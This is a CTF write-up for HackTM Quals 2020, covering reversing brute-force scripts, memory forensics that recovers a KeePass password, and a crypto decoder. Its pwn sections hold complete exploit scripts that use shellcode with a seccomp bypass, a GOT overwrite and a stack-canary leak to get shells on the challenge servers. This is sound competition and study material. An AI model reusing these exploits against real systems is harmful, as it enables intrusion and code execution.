HackTM CTF Quals 2020 Writeup

HackTM CTF was held from February 1st to 3rd for 48 hours. I played it in zer0pts and we reached to 8th place.

Thank you @WreckTheLine for hosting the CTF!

The tasks and solvers for some challenges I solved are available here:

Other members' writeups:

[rev 442pts] baby bear

Description: Goldilocks is in big trouble: baby bear isn't going to let her run this time. She needs a bear negotiator, quick!
Server: nc 138.68.67.161 20005
File: baby_bear

The program calculates 2 hash values:

• hash(random input)
• hash(user input)

If those two values match, it reads and prints the flag in the remote server. The binary gives us the hash of random input.

$./original.baby_bear (c).-.(c) █ █ █ █ / ._. \ █ █ █ █ __\( Y )/__ █ ███ ███ ███ █ █ ███ ███ ███ █ ██ (_.-/'-'\-._) █ █ █ █ █ █ █ ██ █ █ █████ █ █ ██ || X || █ █ █ █ █ █ █ █ █ █ █ █ █ █ _.' -' '._ █ ███ ███ ███ █ ███ ███ ███ █ (.-./-'\.-.) █ -' -' █ Baby bear says: 1100111101100100101100011110000110011110111110 The program is too complicated to analyse and I decided to dynamically analyse the hash. The hash of AAAAAAAA is 1111001100110011001100110011001101000101010101 and the hash of BAAAAAAA is 0011001100110011001100110011001101000101010101 We can see the change in the first bytes of input only affects the first 4 bits of the output. So, we may find an input whose hash is correct by brute-forcing. I wrote a gdb script to find such input by depth-first search. # gdb -n -q -x base.py ./baby_bear import gdb import random import re import string def to_hash(s): output = "" for x in re.findall("0x([0-1]+)", s)[:6]: for i in range(len(x)-1, 0, -2): output += x[i] return output answer = raw_input("> ") gdb.execute("set pagination off") gdb.execute("break *0x4005dd") gdb.execute("break *0x400617") data = '?' * 0x10 def search(index=0, data='????????????'): for c in range(0x100): data = data[:index] + chr(c) + data[index + 1:] gdb.execute("run") for i in range(len(data)): gdb.execute("set {{char}}{}={}".format(0x600770 + i, ord(data[i]))) gdb.execute("continue") w = to_hash(gdb.execute("x/7xg 0x600832", to_string=True)) if w[:4 + index*4] == answer[:4 + index*4]: lastdata = data.encode("hex") last = w for result in search(index+1, data): yield result elif w[:-2] == answer: yield data result = next(search()) print(result.encode("hex")) exit()  $ python connect.py
[+] __init__: Successfully connected to 138.68.67.161:20005
b'1010110110100110010100100100110011110010110011'
7735071e1907023762073702
[ptrlib]$1010110110100110010100100100110011110010110011 Baby bear is thinking... "Yeah, that sounds like what I was thinking", baby bear said. Here's your flag: HackTM{Oh~n0~G0ld!lOcK$~wh4t~hAV3~U~doNE??}

[rev 482pts] papa bear

Description: Papa bear loves knitting, and even more so taking thin wires and spinning them together to make a strong, bushy rope.
Code:
______ _______ ______ _______ ______ _______ _______ ______
(_____ \ (_______)(_____ \ (_______) (____ \ (_______)(_______)(_____ \
_____) ) _______ _____) ) _______ ____) ) _____ _______ _____) )
| ____/ | ___ || ____/ | ___ | | __ ( | ___) | ___ || __ /
| | | | | || | | | | | | |__) )| |_____ | | | || | \ \
|_| |_| |_||_| |_| |_| |______/ |_______)|_| |_||_| |_|
dWWW=- dWWMWWWWWMWMb dMMWWWWWWWWWb -=MMMb
dWMWP dWWWMWWWMMWMMMWWWWWMMMMMMWMMMWWWMMMb qMWb
WMWWb dMWWMMMMMMWWWWMMWWWMWWWWWWMMWWWWMWMWMMMWWWWb dMMM
qMMWMWMMMWMMWWWMWMMMMMMMMWMMMMWWWMMWWMWMWMMWWMWWWWMWWMMWMMWP
QWWWWWWWMMWWWWWWWMMWWWWMMWP QWWWMWMMMMWWWWWMMWWMWWWWWWMP
QWMWWWMMWWMWMWWWWMWWP QWWMWWMMMWMWMWWWWMMMP
QMWWMMMP QMMMMMMP
File: papa_bear

This task is similar to baby bear. It generates different beard for different arguments.

$./papa_bear AAA ______ _______ ______ _______ ______ _______ _______ ______ (_____ \ (_______)(_____ \ (_______) (____ \ (_______)(_______)(_____ \ _____) ) _______ _____) ) _______ ____) ) _____ _______ _____) ) | ____/ | ___ || ____/ | ___ | | __ ( | ___) | ___ || __ / | | | | | || | | | | | | |__) )| |_____ | | | || | \ \ |_| |_| |_||_| |_| |_| |______/ |_______)|_| |_||_| |_| dWMM=- dWWMWWMMWWMWb dWMMWWMWMMMMb -=MMMb dMMMP dMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMb qMMb MMMMb dMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMb dMMM qMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMP QMMMMMMMMMMMMMMMMMMMMMMMMMP QMMMMMMMMMMMMMMMMMMMMMMMMMMP QMMMMMMMMMMMMMMMMMMMP QMMMMMMMMMMMMMMMMMMMP QMMMMMMP QMMMMMMP So, the goal is to find the output which is same as that given in the challenge description. Same principle as baby bear. I wrote depth-first search for the input. from ptrlib import * import string import time # socat TCP-L:9999,reuseaddr,fork EXEC:./papa_bear def pretty(x): x = x.replace(b"\n", b"") x = x.replace(b" ", b"") x = x.replace(b"d", b"") x = x.replace(b"b", b"") x = x.replace(b"-", b"") x = x.replace(b"=", b"") x = x.replace(b"P", b"") x = x.replace(b"Q", b"") x = x.replace(b"p", b"") x = x.replace(b"q", b"") x = x.replace(b"W", b"#") x = x.replace(b"M", b".") return x with open("answer.txt", "rb") as f: code = pretty(f.read()) visited = [] def search(flag='', ofs=0): global visited if (flag, ofs) in visited: return else: visited.append((flag, ofs)) for c in " " + string.printable[:-6]: time.sleep(0.01) sock = Socket("localhost", 9999) sock.sendline(str2bytes(flag + c).hex()) for i in range(7): sock.recvline() result = b'' for i in range(7): result += pretty(sock.recvline()) sock.close() xx = result[:ofs + 7] yy = code[:ofs + 7] x = result[:ofs + 6] y = code[:ofs + 6] if xx == yy: print(repr(flag + c), ofs + 7) for r in search(flag + c, ofs + 7): yield r if x == y: print(repr(flag + c), ofs + 6) for r in search(flag + c, ofs + 6): yield r if c == ' ' and x[:-1] == y[:-1]: print(repr(flag + c), ofs + 5) for r in search(flag + c, ofs + 5): yield r if result == code: yield flag logger.level = 0 flag = '' ofs = 0 print(next(search(flag, ofs)))  Just be careful that the length of the hash for each character differs this time. For example, a turns into 6 bytes, 1 into 7 bytes, a whitespace into 5 bytes and so on. [pwn 445pts] Obey The Rules Description: The government has released a new set of rules. Do you choose to be among those who follow them blindly or among those who read them first? Flag Path: /home/pwn/flag.txt Server: nc 138.68.67.161 20001 File: obey_the_rules The binary accepts 11 bytes of shellcode and run it if begins with Y\x00. Before running the shellcode, the second byte (=0x00) will turn into pop rcx (='Y'). By sending the following shellcode (11 bytes), we can feed longer shellcode. db 'Y', 0 mov rsi, rax xor edi, edi xor eax, eax syscall  The second problem is that seccomp is enabled and the rule is unknown. After several fuzz, I found open, read and exit are active. At first glance read didn't seem working for the flag. It was because read fails when fd is 3 due to the seccomp rule. So, we can bypass this just by opening the flag twice. Also, we can leak the flag by side-channel attack. I used error based side-channel, with which I did binary-search by causing segfault or bad syscall. xor esi, esi xor edx, edx movabs rdi, 0x100000100 mov eax, 2 syscall mov eax, 2 syscall mov rdi, rax xor eax, eax movabs rsi, 0x100000200 mov edx, 0x100 syscall mov al, byte ptr [rsi + i] cmp al, left jb Error cmp al, right ja Error xor eax, eax mov qword ptr [rax], rbx Error: mov eax, 1 syscall  from ptrlib import * logger.level = 0 flag = b'' for i in range(0x0, 0x40): left, right = 0, 0x80 while left < right: #sock = Process("./obey_the_rules") sock = Socket("138.68.67.161", 20001) payload = b"\x59\x00" payload += b"\x48\x89\xc6" payload += b"\x31\xff" payload += b"\x31\xc0" payload += b"\x0f\x05" sock.sendafter("no)", payload) sock.recvline() shellcode = b"p" * len(payload) shellcode += b"\x31\xF6" shellcode += b"\x31\xD2" shellcode += b"\x48\xBF\x00\x01\x00\x00\x01\x00\x00\x00" shellcode += b"\xB8\x02\x00\x00\x00" shellcode += b"\x0F\x05" shellcode += b"\xB8\x02\x00\x00\x00" shellcode += b"\x0F\x05" # open twice! shellcode += b"\x48\x89\xC7" shellcode += b"\x48\xBE\x00\x02\x00\x00\x01\x00\x00\x00" shellcode += b"\xBA\x00\x01\x00\x00" shellcode += b"\x31\xC0" shellcode += b"\x0F\x05" shellcode += b"\x8A\x46" + bytes([i]) shellcode += b"\x3C" + bytes([left]) shellcode += b"\x72\x09" shellcode += b"\x3C" + bytes([right]) shellcode += b"\x77\x05" shellcode += b"\x31\xC0" shellcode += b"\x48\x89\x18" shellcode += b"\xB8\x00\x00\x00\x00" shellcode += b"\x0F\x05" shellcode += b"p" * (0x100 - len(shellcode)) shellcode += b"/home/pwn/flag.txt\x00" #shellcode += b"/home/ctf/flag\x00" sock.send(shellcode) if b'Segmentation fault' in sock.recvline(): left, right = left, (left + right) // 2 else: left, right = right, right + (right - left) sock.close() flag += bytes([left + 1]) print(flag)  [pwn 491pts] Think twice before speaking once Server: nc 138.68.67.161 20004 File: think-speak The program provides us with multiple AAR and one AAW. Leaking the libc address is easy. Since libc version is unknown, I used DynELF to leak some important symbols. from pwn import * def think(address): sock.sendlineafter(">", "1") sock.sendlineafter(": ", str(address)) sock.recvuntil("[ \n") x = sock.recv(8) print(hex(address), repr(x)) return x def speak(address, value): sock.sendlineafter(">", "2") sock.sendlineafter(": ", str(address)) sock.sendlineafter(": ", str(value)) return elf = ELF("./think-speak") sock = remote("138.68.67.161", 20004) d = DynELF(think, elf=elf) addr_puts = d.lookup('puts', 'libc') print(hex(addr_puts)) addr_system = d.lookup('__libc_system', 'libc') print(hex(addr_system)) addr_free_hook = d.lookup('__free_hook', 'libc') print(hex(addr_free_hook)) addr_malloc_hook = d.lookup('__malloc_hook', 'libc') print(hex(addr_malloc_hook)) addr_realloc_hook = d.lookup('__realloc_hook', 'libc') print(hex(addr_realloc_hook)) addr_execve = d.lookup('execve', 'libc') print(hex(addr_execve)) sock.interactive()  I found some one gadgets but none of them worked. In order to get multiple AAW, I overwrote the GOT of exit into the AAW code. Also, system("/bin/sh"); somehow didn't work even though puts("/bin/sh"); did work. After several trials, I could get the shell by execve. from pwn import * def think(address): sock.sendlineafter(">", "1") sock.sendlineafter(": ", str(address)) sock.recvuntil("[ \n") x = sock.recv(8) print(hex(address), repr(x)) return x def speak(address, value): sock.sendlineafter(">", "2") sock.sendlineafter(": ", str(address)) sock.sendlineafter(": ", str(value)) return def speak2(address, value): sock.sendlineafter(">", "3") sock.sendlineafter(": ", str(address)) sock.sendlineafter(": ", str(value)) return elf = ELF("./think-speak") sock = remote("138.68.67.161", 20004) libc_puts = 0x7f9d2cac31c0 - 0x7f9d2ca5a000 libc_system = 0x7fe7a1b60010 - 0x7fe7a1b20000 addr_puts = u64(think(elf.got['puts'])) libc_base = addr_puts - libc_puts addr_system = libc_base + libc_system print("libc = " + hex(libc_base)) print("system = " + hex(addr_system)) do_system = addr_system + 0xa - 0x57a execve = libc_base + 0x7fe84bfcce80 - 0x7fe84bf15000 speak(elf.got['exit'], 0x400a31) speak2(0x601100, u64('/bin/sh\0')) speak2(0x6010a0, 0x601100) speak2(elf.got['setbuf'], execve) speak2(elf.got['signal'], elf.plt['exit']) speak2(elf.got['exit'], 0x4008db) sock.sendline("3") sock.interactive()  First blood! [pwn 488pts] twisty Description: Inspired by stackola's game, I wanted to build my own version, but in C. What could go wrong? Server: nc 138.68.67.161 20007 Files: twisty, libc-2.23.so The program is similar to Shifty challenge. It's a kind of slide puzzle game and it has undo function. Each move is described according to this rule:  X 0 1 2 3 cXd: 0b0100, 0b0101, 0b0110, 0b0111 cXu: 0b0000, 0b0001, 0b0010, 0b0011 rXl: 0b1100, 0b1101, 0b1110, 0b1111 rXr: 0b1000, 0b1001, 0b1010, 0b1011 In order to implement the undo function, the program logs the history of all moves. Since the history buffer is 0x800-byte length, up to 0x1000 moves can be recorded. However, there's no bound check and we can cause buffer overflow here. Also, the number of history is located right after the history buffer, which means we can forge this. By making the number a bit large, we can skip the stack canary, return address and so on. After that, those data can be leaked by list function of history. Using undo and making moves, we can overwrite the return address of main. However, we need to solve the puzzle in order to reach ret of main. Fortunately, @keymoon was writing the puzzle solver for Shifty challenge and it worked for this too. Thanks to this, I could successfully fire oneshot. from ptrlib import * def move2val(m): v = 0 if isinstance(m, bytes): m = bytes2str(m) if m[0] == 'c': if m[2] == 'd': v |= 0b100 v |= int(m[1]) else: v |= int(m[1]) else: v |= 0b1000 if m[2] == 'l': v |= 0b100 v |= int(m[1]) else: v |= int(m[1]) return v def move(m): command = '' if m & 0b1000 == 0: command += 'c{}'.format(m & 0b11) if m & 0b100 != 0: command += 'd' else: command += 'u' else: command += 'r{}'.format(m & 0b11) if m & 0b100 != 0: command += 'l' else: command += 'r' sock.sendline(command) return def history(): sock.sendlineafter("> ", "l") return sock.recvline().split(b' ') def undo(): sock.sendline("u") return def seq2val(seq): v = 0 for i in range(0, len(seq), 2): v <<= 8 v |= (move2val(seq[i+1]) << 4) | move2val(seq[i]) return int(hex(v)[2:][::-1], 16) """ libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so") sock = Process("./twisty") delta = 0xe7 one_gadget = 0x4f322 """ libc = ELF("libc-2.23.so") sock = Socket("138.68.67.161", 20007) delta = 0xf0 one_gadget = 0xf1147 #""" for i in range(0x1000): move(0b0101) for i in range(0x1000): sock.recvuntil("> ") # make counter 0x10f2 move(0b1111) move(0b0000) sock.recvuntil("> ") sock.recvuntil("> ") h = history() canary = seq2val(h[0x1020:0x1030]) << 8 logger.info("canary = " + hex(canary)) ret = seq2val(h[0x10a0:0x10b0]) if ret < 0x7f0000000000: ret <<= 4 ret |= libc.symbol('__libc_start_main') & 0b1111 libc_base = ret - libc.symbol('__libc_start_main') - delta logger.info("libc = " + hex(libc_base)) # make counter 0x10a0 for i in range(0x10f2 - 0x10a0): undo() for i in range(0x10f2 - 0x10a0): sock.recvuntil("> ") # overwrite return address value = libc_base + one_gadget for i in range(8): move((value >> 4) & 0b1111) move(value & 0b1111) value >>= 8 for i in range(8): sock.recvuntil("> ") sock.recvuntil("> ") state = [] for i in range(4): state.append([]) for c in sock.recvline(): state[-1].append(c - ord('A')) print(state) p = Process("a/C-Sharp") p.sendline("4") p.sendline("4") for i in range(4): p.sendline("a " + " ".join(list(map(str, state[i])))) l = p.recvline() if b'iter' in l: l = p.recvline() for step in l.split(b','): if step == b'A': sock.sendline("r0l") elif step == b'B': sock.sendline("r1l") elif step == b'C': sock.sendline("r2l") elif step == b'D': sock.sendline("r3l") elif step == b'0': sock.sendline("c0u") elif step == b'1': sock.sendline("c1u") elif step == b'2': sock.sendline("c2u") elif step == b'3': sock.sendline("c3u") for step in l.split(b','): sock.recvuntil("> ") p.close() sock.interactive()  Second blood! $ python solve.py
[+] __init__: Successfully connected to 138.68.67.161:20007
[+] <module>: canary = 0x451ab6f72117200
[+] <module>: libc = 0x7efc1207f000
[[6, 7, 3, 9], [4, 2, 10, 5], [11, 12, 8, 15], [14, 0, 13, 1]]
[+] __init__: Successfully created new process (PID=19218)
[+] close: close: 'a/C-Sharp' killed
Congratulations!!!
[ptrlib]$ls [ptrlib]$ flag
run.sh
twisty
cat flag
[ptrlib]$HackTM{0h_boY_thi$_5P!nniNG's_gonn@_m4k3_Me_D!zzY}

[forensics 474pts] Find my pass

Description: I managed to forget my password for my KeePass Database but luckily I had it still open and managed to get a dump of the system's memory. Can you please help me recover my password?
File: https://mega.nz/#!IdUVwY6I!uJWGZ932xab44H4EJ-zVAqu6_UWNJcCVA4_PPXdqCyc  (password: eD99mLkU)

pslist shows that KeePass.exe is running. Let's dump the database.

$vol.py -f HackTM.vmem --profile=Win7SP1x86_23418 filescan ... 0x000000007df32788 6 0 R--r-d \Device\HarddiskVolume2\Windows\System32\ie4uinit.exe 0x000000007df37c88 2 0 R--r-- \Device\HarddiskVolume2\Users\HackTM\Desktop\Database.kdbx 0x000000007df383b8 8 0 R--r-d \Device\HarddiskVolume2\Windows\System32\wbem\wmiutils.dll ...$ vol.py -f HackTM.vmem --profile=Win7SP1x86_23418 dumpfiles -Q 0x000000007df37c88 -D ./

@st98 found the master password in clipboard.

\$ vol.py -f HackTM.vmem --profile=Win7SP1x86_23418 clipboard -v
...
0xffbb46bc  64 00 6d 00 56 00 5a 00 51 00 6d 00 64 00 7a 00   d.m.V.Z.Q.m.d.z.
0xffbb46cc  4f 00 6c 00 55 00 72 00 63 00 45 00 42 00 6c 00   O.l.U.r.c.E.B.l.
0xffbb46dc  52 00 6a 00 38 00 37 00 64 00 48 00 51 00 33 00   R.j.8.7.d.H.Q.3.
0xffbb46ec  55 00 53 00 56 00 42 00 49 00 6e 00 00 00         U.S.V.B.I.n...
...

There's an entry jason with an attachment named nothinghere.7z. I opened the archive with the master password and found the flag.

HackTM{d14c02244b17f4f9dfc0f71ce7ab10e276a5880a05fca64d39a716bab92cda90}

[crypto 467pts] Count on me

Files: aes.py, challenge.txt, key.png

We're given an image in which unknown characters are written.

After some guesses, I found each characters can be splitted into upper and bottom parts (except for the circular one). Each part has lines and I guessed the number of lines represents the number itself. For example, the first character has 3 lines in the upper part, 4 lines in the bottom, which means (3, 4). Since the maximum number in the pairs is 5, (a, b) may represent a * 5 + b. The maximum number of all is 19 in this rule, which indicates 20n base. 3 characters are still unknown but they can be guessed by brute-forcing. I wrote a decoder following this rule:

from Crypto.Cipher import AES
iv = '42042042042042042042042042042042'.decode('hex')
c = "059fd04bca4152a5938262220f822ed6997f9b4d9334db02ea1223c231d4c73bfbac61e7f4bf1c48001dca2fe3a75c975b0284486398c019259f4fee7dda8fec".decode("hex")
key = ((3, 4),(0, 3),(2, 0),(3, 0),(0, 2),(-1, -1),(3, 1),(3, 1),(3, 3),(2, 2),(3, 4),(1, 1),(3, 4),(2, 2),(1, 3),(-1, -1),(1, 0),(1, 3),(3, 2),(3, 3),(3, 3),(1, 0),(1, 4),(0, 3),(2, 1),(2, 0),(0, 1),(2, 0),(2, 0),(0, 0),(2, 0),(-1, -1),(0, 0),(1, 3),(3, 3),(2, 0),(0, 0),(3, 0),(3, 3),(1, 0),(3, 3),(2, 4),(3, 4),(0, 1),(0, 1),(0, 0),(0, 4),(1, 1),(3, 0),(0, 4),(2, 1),(3, 1),(2, 0),(1, 3),(2, 4),(1, 0),(2, 3),(3, 1),(1, 4))

for x1 in range(20):
print(x1)
for x2 in range(20):
for x3 in range(20):
cnt = 0
n = 0
for pair in key:
if -1 in pair:
if cnt == 0:
x = x1
elif cnt == 1:
x = x2
elif cnt == 2:
x = x3
cnt += 1
else:
x = pair[0]*5 + pair[1]
n *= 20
n += x
k = hex(n).rstrip('L')[2:].decode("hex")
aes = AES.new(k, AES.MODE_CBC, iv)
m = aes.decrypt(c)
if 'HackTM' in m:
print(m)
exit()